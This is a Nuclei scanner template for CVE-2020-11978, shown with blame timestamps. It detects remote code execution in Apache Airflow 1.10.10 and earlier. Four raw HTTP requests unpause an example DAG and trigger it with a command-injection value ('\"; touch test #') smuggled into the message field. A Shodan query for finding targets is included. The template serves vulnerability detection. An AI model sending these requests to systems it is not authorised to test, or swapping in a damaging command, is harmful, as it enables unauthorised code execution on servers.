nuclei-templates/http/cves/2020/CVE-2020-11978.yaml

71 lines
2.4 KiB
YAML
Raw Normal View History

2021-06-03 08:27:09 +00:00
id: CVE-2020-11978
2021-06-03 08:27:09 +00:00
info:
name: Apache Airflow <=1.10.10 - Remote Code Execution
2021-06-03 08:27:09 +00:00
author: pdteam
severity: high
description: Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).
2023-09-06 12:22:36 +00:00
remediation: If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
reference:
- https://github.com/pberba/CVE-2020-11978
- https://twitter.com/wugeej/status/1400336603604668418
- https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-11978
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/174764/Apache-Airflow-1.10.10-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-11978
2023-07-11 19:49:27 +00:00
cwe-id: CWE-78
2023-10-14 11:27:55 +00:00
epss-score: 0.97203
epss-percentile: 0.99754
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 4
2023-07-11 19:49:27 +00:00
vendor: apache
product: airflow
2023-09-06 12:22:36 +00:00
shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs"
tags: packetstorm,cve,cve2020,apache,airflow,rce,kev
2021-06-03 08:27:09 +00:00
http:
2021-06-03 08:27:09 +00:00
- raw:
- |
GET /api/experimental/test HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: application/json
{"conf": {"message": "\"; touch test #"}}
- |
GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
Host: {{Hostname}}
Accept: */*
req-condition: true
2023-07-11 19:49:27 +00:00
2021-06-03 08:27:09 +00:00
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_4, "operator":"BashOperator")'
- 'contains(header_4, "application/json")'
condition: and
2023-07-11 19:49:27 +00:00
extractors:
- type: regex
name: exec_date
group: 1
regex:
- '"execution_date":"([0-9-A-Z:+]+)"'
internal: true
part: body